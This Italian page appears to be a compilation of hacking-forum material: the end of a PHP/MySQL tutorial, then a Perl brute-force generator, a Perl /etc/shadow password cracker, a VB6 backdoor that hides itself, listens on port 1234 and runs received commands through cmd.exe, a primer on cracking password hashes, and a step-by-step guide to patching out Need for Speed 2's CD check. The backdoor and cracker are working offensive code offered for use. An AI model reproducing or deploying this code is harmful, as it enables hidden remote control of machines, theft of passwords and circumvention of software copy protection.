Qui sono state introdote due nuove cose, “LIKE” e “ORDER BY”. LIKE significa ‘come’. Il segno ‘%’ rappresenta ogni possibile comnbinazione di caratteri (numeri o lettere). Se Ssto cecando tutte le persone che il loro nome inizia con ‘J’ useremo questo comando SQL:
“SELECT * FROM personnel WHERE firstname LIKE ‘J%’”
Per trovare persone che il loro nome finisca con J useremo ‘%J’. Se vogliamo trovare le persone che il loro nome abia ‘J’ in qualsiasi punto (nome, cognome) useremo ‘%J%’.
‘ORDER BY’ ordina semplicemente i records in ordine crescente o decrescente. Questa è la sintassi:
“ORDER BY fieldname order_ method” where order_ method is ASC or DESC permette di ordinare in modo ASC=crescente o DESC=decrescente.
Conclusioni
Abbiamo imparato le basi per la creazione di un sito dinamico. Ora tocca a voi mettere in pratica tutto questo. Avete conoscenze suffucienti per creare questi utili lavori:
* Database Utenti
Potete creare un databse dei vostri utenti. Potete aggiungere a questo una pagina di login.
* News
Potete inserire nel vostro sito una sezioneche visualizza sempre le ultime news oppure una sezione “What’s new” generata automaticamente. La tabella per fare questo è:
| CREATE TABLE news ( id INT NOT NULL AUTO_ INCREMENT, title VARCHAR(40), newsbody TEXT, news_ date DATE, PRIMARY KEY (id), UNIQUE id (id) ); |
Visualizzare automaticamente il titolo delle ultime 5 news, questo è il codice:
<HTML>
<?php
$sql=”SELECT * FROM news ORDER by news_date DESC”;
$db = mysql_connect(”localhost”, “root”, “”);
mysql_select_db(”newsdb”,$db);
$result = mysql_query($sql,$db);
echo “Latest News:<br>”;
$i=1;
while ($myrow = mysql_fetch_array($result))
{
echo “<a href=\”newsdetail.php?id=”.$myrow["id"].”\”>”.$myrow["title"].”</a><br>”;
$i=$i+1;
if($i>5)
break;
}
?>
</HTML>
* Database dei Prodotti
Potete creare un dettagliato database dei vostri prodotti. I vostri clienti potranno così vedere tutti i vostri prodotti e ricercarne uno in particolare.
[Perl] Brute Force
#!/usr/bin/perl
use strict;
use warnings;
#########################################################
# Modifica per impostare i caratteri da usare #
#########################################################
my @chars = (’a’,’b’); #
#########################################################
destroyer(””,@chars); # destrooooy!!!
#########################################################
# Modica questo codice per impostare l’azione che vuoi sia compiuta per ogni lemma costruito #
##########################################################
sub myFunc { #
my $string = $_[0]; # <- Non toccare !!!! #
# — Start Edit — #
print $string.”\n”; #
# — End Edit — #
} #
#########################################################
# Start
sub destroyer {
my ($currStr,@charsArray) = @_;
if(length($currStr) > $#charsArray) {
return;
}
for(my $i=0; $i<=$#charsArray; $i++) {
myFunc($currStr.$charsArray[$i]); # callback
destroyer($currStr.$charsArray[$i],@charsArray);
}
}
__END__
[Perl] Shadow unix password c*acker
##################################################
# #
# Simple /etc/shadow unix password c*ack in perl #
# #
# Fes. Morocco 1998 #
# #
# By _6mO_HaCk #
# #
##################################################
print (”\n— perl /etc/shadow cracker”);
print (”\n—”);
print (”\n— Coded By _6mO_HaCk”);
if ($#ARGV < 0) {
usage();
exit;
}
$passlist = $ARGV[0];
$wordlist = $ARGV[1];
getpasslist($passlist, $wordlist);
sub getpasslist{
open (PWD, $passlist) or die print ” Password File not found “, $passlist, “\n”;
while (<PWD>
{
($fname, $encrypted, $uid, $gid, $cos, $home, $shell) = split ( /:/);
getwordlist($encrypted, $fname);
}
close (PWD);
}
sub getwordlist{
open (WRD, $wordlist) or die print ” Wordfile not found “, $wordlist, “\n” ;
while (<WRD>
{
($password) = split (/,/);
chop($password);
$encword = crypt ($password, $encrypted);
if ($encword eq $encrypted)
{
print “Username :”,$fname, ” \t —— \aPass : “, $password, “\n”;
}
}
close (WRD);
}
sub usage {
print “\n”;
print “— Usage : perl cr4ckp455 PASSWORDFILE WORDFILE\n”;
print “— Exp : perl cr4ckp455 /etc/shadow word.lst\n”;
print “\n”;
}
[Vb6] Backdoor base
Descrizione: Esempio basilare di coding di una backdoor
[by spud--]
Codice:
Option Explicit
Dim cmd As String
Dim dati As String
Private Sub Form_Load()
Form1.Visible = False
App.TaskVisible = False
Winsock1.LocalPort = 1234
Winsock1.Listen
cmd = “”
End Sub
Private Sub Winsock1_Close()
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData dati
If dati = vbCrLf Then
Shell (”cmd.exe /c” & cmd)
cmd = “”
Else
cmd = cmd + dati
End If
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox Description
Winsock1.Close
Winsock1.Listen
cmd = “”
End Sub
Cra**are un hash
Per questo tipo di lavoro sporco, ci sono due programmi, relativamente per ambienti windows e linux: john the ripper e cain ( “Caino” come caino e abele”)
A livello puramente teorico, esiste sempre la nostra beneamata wikipedia, alla pagina http://it.wikipedia.org/wiki/Crittografia
Premesse:
In un qualunque sistema moderno, nessuna password è conservata in chiaro.
Data in pasto al algoritmo una password di lunghezza arbitraria, ne esce l’Hex, in inglese “polpetta” che è la password criptata.
Non esiste modo, partendo dal hex e sapendo il metodo in cui è criptato, di tornare alla parola criptata in maniera matematica o logica.
Questi, sono alcuni banali esempi della parola “nanna” criptata con diversi algoritmi:
98FD1DAA7AC69E13CBB87F9866452448, 2230C9F3FB0CF5778861E1AA597AD437, 0CC8B1C331C5F270E8492484168C98D9, E30702D1A9230524A0643E825DC8D413C56DA546, ECE70F7F9CA099E555468FB7BCCC9D7EE8ED94F6, 4942DC5AD70C81E8, 898CD8AD67BA65556F93319F85095912, 53A0D66E3B750B93, 1B36EAF7DCABE3C922F13B76B35197BF1A83B99D, 5tQVF6OBM1qiMYYq, EEB1473AD5C385C4.
Algoritmi di criptazione comuni o conosciuti sono ad esempio MD2, MD4, MD5, SHA-1 , SHA-2 (256), SHA-2 (384), SHA-2 (512), RIPEMD-160, LM, NT, MySQL323, MySQLSHA1, Cisco PIX , VNC Hash.
Se guardate i vostri cookie, troverete dentro sicuramente roba del genere, non per nulla esistono le xss, ma anche nel registro di windows, nelle librerie, in windows/system32/config/SAM.
Adesso vi starete chiedendo: “ma se è letteralmente impossibile, ‘rivoltare’ l’hex e tornare indietro, come si fa?”
Beh, esistono tre metodi, ma sostanzialmente sono identici. E sono dei metodi molto stupidi: si prova fino a quando non si riesce. Anche se naturalmente fa tutto la macchina al posto nostro ( e ci mancherebbe ).
Metodo 1°: Attacco a dizionario
Cosa mi serve: un dizionario, tanta culo spannato ( fortuna ).
Partiamo: abbiamo un bellissimo file di testo contenente tante parola, preferibilmente della nostra lingua madre, tutte in fila.
abaco
abaliena
abalienando
abalienano
abalienare
Cosa succede? Semplice, il programma prende la prima parola, la passa per l’algoritmo, e la confronta con quella data, se corrisponde bene, altrimenti va avanti fino a trovarla, o ( più probabilmente ) finire il dizionario. Questo metodo funziona solo se la password non è sicura. Il solo vantaggio è quello che questo è un metodo veloce, e su un computer di fascia media, non dovrebbe metterci più di 10-20 minuti al massimo. Ma è difficile che funzioni.
Metodo 2°: brute force
Cosa serve: tanto tempo, qualcosa da mangiare, un qualcosa per ammazzare il tempo.
Questa volta ci serve solo il programma. In maniera molto più noiosa, si occupa di generare tutte le parole, quindi:
aaaaaaa
aaaaaab
aaaaaac
Naturalmente questo occupa tempi molto più lunghi, ma ne garantisce l’efficacia. Tempi più lunghi sono troppo tempo quando si arriva sui 17-18 caratteri di password criptata. Ma comunque sulla decina di caratteri ci si dovrebbe riuscire.
Metodo 3° Rainbow table
Cosa serve: tanto tempo ( di meno ), molto spazio su disco.
Le rainbow table, o rt, non sono altro che un brute force “già scritto”. Ogni combinazione di singola parola, ha già abbinato il suo hex. Questo è tutto tempo risparmiato nel calcolarle, ma anche tanto spazio da buttare sul hard disk ( 30-40 gb per 8 caratteri )
Questo è tutto.
Sentitevi liberi di chiamarmi per qualsiasi domanda e/o insulto
Autore: n44b16
http://n44b16factory.netsons.org/?p=3
come crackare un giochino
COSA SERVE PER CRACKARE
Ok prima di cominciare a crackare hai bisogno di un disassemblatore! Io uso Win32Dasm e penso che sia il miglior programma per un apprendista crackatore.
Poi hai bisogno di Hiew per manipolare gli exe che vuoi crackare perché con Win32Dasm puoi solo guardare negli exe ma non puoi cambiare niente.
Win32Dasm
Hiew
Devi diventare pratico di questi due programmi per riuscire a crackare i programmi.
Ok, prendiamo per buono che hai i programmi e cominciamo a crackare.
SI COMINCIA!!!
Crackare con Win32Dasm
Ok in questa lezione ti mostrerò come lavorare con Win32Dasm e Hiew.
Oggi vogliamo crackare un gioco molto facile da crackare. Crackeremo Need for Speed 2.
Ok. Lanciamo Win32Dasm.exe.Possiamo vedere la schermata principale e la toolbar. Clicchiamo su
Disassembler. Un menù appare e possiamo vedere delle opzioni. Clicchiamo su Open file to Disassemble. Un altro menù ci mostr il nostro HD e possiamo selezionare l’exe da crackare(ecco nfsw.exe).Il processo di disassemblazione può prendere alcuni minuti(cerca di avere almeno 80Mb liberi su disco o l’exe potrebbe non essere disassemblato totalmente). Ok, l’exe è disassemblato. E ora?
Tutto quello che vedi è un testo scritto col font Windings?NESSUN PROBLEMA!!!
Clicca su Disassembler e sulla schermata di opzioni seleziona Font e poi Select Font. Ora puoi selezionare il font da visualizzarepenso che il miglior font per lavorare sia Arial). Clicca Ok.
Ora possiamo leggere iltesto.Ok.Ma cosa diavolo vuol dire?
Object01: Begtext RVA: 00001000 Offset: 00000400 Size: 000AEA00 Flags 60000020
Cosa significa?Non lo sappiamo.Ma non importa!Non abbiamo bisogno di saperlo.Quello di cui abbiamo bisogno è di lanciare il gioco(Need for Speed 2) senza il CD inserito. Non funziona huh?PORK!Ma che messaggio di errore da?
Messaggio di errore:
To play Need for Speed 2 you need the Cd
Ok.Ora sappiamo il messaggio di errore!Questo è molto utile!Torniamo al Win32Dasm (nfsw.exe è già disassemblato), clicchiamo di destro sulla toolbar sul pulsante String Data References (è il pulsante dopo quello di stampa).Si apre una finestra chiamata Win32Dasm List of String Data Items. Ok. Tutto quello che dobbiamo fare è cercare il messaggio di errore che abbiamo visto lanciando Need for Speed senza il CD (per giocare a Need for Speed è necessario il CD). Cominicia per T per „To Play“ quindi non cerchiamo dall’inizio ma saltaiamo alla sezione dove vediamo messaggi che cominciano per „T“. Ed è lì che troviamo il messaggio di errore „To play Need for Speed 2 you“. Doppio click sul messaggio. Chiudiamo il menu pop-up con il messaggio di errore e torniamo alla schermata principale di Win32Dasm con il testo di nfsw.exe. Possiamo vedere che non siamo più all’inizio del testo ma in un qualche punto nel mezzo. Siamo ora esattamente nel posto dev’è il messaggio di errore. Vediamo ancora parole varie e non sappiamo cosa significa. Ma l’unica cosa che ci interessa di sapere e il numero di @offset di ogni comando di chiamata(call) o di salto(jump) (jump=jmp call = call). Guardiamo un attimo allo schermo e vediamo un comando di jump:
:0044632C EB1BC5E3E1 call 00446349
Usiamo i tasti cursore per cliccare sul comando jump. La Opbar cambia il suo colore in verde. Questo significa che possiamo manipolare il testo(possiamo modificare ogni cosa nell’exe, ma la barra verde ci segnala comandi importanti come jump,call…). Lasciamo la barra sul comando jump e guardiamo sotto la barra, dove vediamo alcuni numeri:
Line:120246 Pg 1604 of 4273 Code Data @:0045821 @Offset 00045821h in file:nfsw.exe
La sola cosa che ci interessa è il numero dopo @Offset (qui è 00045821), non abbiamo bisogno dell’ultima h.
Ci segnamo il numero(00045821) e chiudiamo Win32Dasm.
Ora andiamo con Hiew.
Crackare con HIEW
Lanciamo Hiew.exe(h.exe/h95.exe).Possiamo vedere la lista dei programmi e degli exe nella directory di HIEW in modo simile al Norton Commander. Usiamo i tasti cursore mer muoverci e andiamo nella directory doveabbiamo salvato l’exe che vogliamo crackare(per es. in c:\giochi\nfs2\nfsw.exe). Clicchiamo sull’exe che vogliamo craqckare(nfsw.exe).Vediamo codice su codice e non sappiamo cosa fare. Premiamo F4 e appare un menù. Nel menù selezioniamo Decode. Ora possiamo vedere una lista di numeri e altre cose. Ora premiamo F5 e nel lato sinistro dello schermo possiamo inserire il numero che ci abbiamo segnato in Win32Dasm (00045821). Scriviamo il numero e veniamo spostati da Hiew nel punto dove il numero esiste. Ora vediamo molti numeri e il cursore è posizionato su EB1BC5E3E1 (in Need for Speed 2).Ok. Ogni due numeri abbiamo un byte. Qui abbiamo EB1BC5E3E1, quindi abbiamo 5 byte. Ora premiamo F3(modifica). Ora possiamo modifica re i 10 numeri EB1BC5E3E1. Scriviamo 9. Se scriviamo veniamo spostati in altri punti, ma non è un problema. Il 9 è ancora lì. Ora scriviamo 0 e poi ancora 9 e 0. Lo faremo per ognuna delle coppie, quindi 5 volte. Premiamo F9(aggiorna).Abbiamo scritto 5 volte 90. Per ogni byte 90. Per EB=90 1B=90 C5=90 E3=90 E1=90.PER OGNI BYTE 90.
Per esempio: se ci posizioniamo su E8D117FDFF (è il codice di @offset per i filmati, ma per ora non preoccupiamocene), significa 10 numeir = 5 byte e per ogni byte un 90!!!! Il numero 90 è il numero noop(no operation, nessuna operazione).Ok.Premiamo F10(Chiudi) Ora possiamo lanciare Need for Speed 2 senza CD!!!
Abbiamo rimosso la protezione CD per Need for Speed 2!!!!
OK L’ABBIAMO FATTO
Ok abbiamo crackato la protezione CD.
QUALCOSA DA RICORDARE
La prima cosa da fare per crackare un gioco è lanciarlo senza CD!
Poi guardare che messaggio di errore da. Devi ricordarti l’ultimo messaggio di errore e lanciare Win32Dasm e guardare sotto List of String Data dove troverai il messaggio di errore. Per esempio: lanci il gioco senza i filmati sul tuo HD. Il gioco ti darà un messaggio di errore tipo „MOVIE FILE not found“. Ora potrai cercare in Win32Dasm dove trovi il messaggio di errore „MOVIE FILE not found“. Se lo trovi fai doppio click su questo. Chiudi la List of Data String Items e torna su Win32Dasm, che si sarà spostato nel punto in cui si trova il messaggio di errore. Segnati ogni numero di @offset di jump e call (riconoscerai i comandi dalla barra che diventerà verde. Hai bisogno solo dei numeri senza la h!!!!Poi ti sposti in Hiew e scrivi il numero per ricercarlo. Poi modifica i comandi di call o jump con l’uso di 90 per ogni byte (ricorda che due numeri sono un byte). Poi selezioni aggiorna e chiudi. Ora hai noopato il gioco!!!
VELOCI PROMEMORIA
- Due numeri sono un byte :E4c2A1 significa E4=1byte C2=1byte A1=1byte e per ogni byte un 90 (il numero noop)
- Inizia senza CD e poi cerca il messagigo di errore presentato
- Con il messaggio lancia Win32Dasm e vai nel menu String of Data Items
- Cerca lo stesso messaggio di errore, facci un doppio click
- Segna il numero dopo @offset senza h per ogni call e jump
- Con il numero di @offset vai in Hiew e fai il noop all‘indirizzo
la guida e’ a puro titolo informativo e non va’ utilizzata per scopi illeciti..(emule)
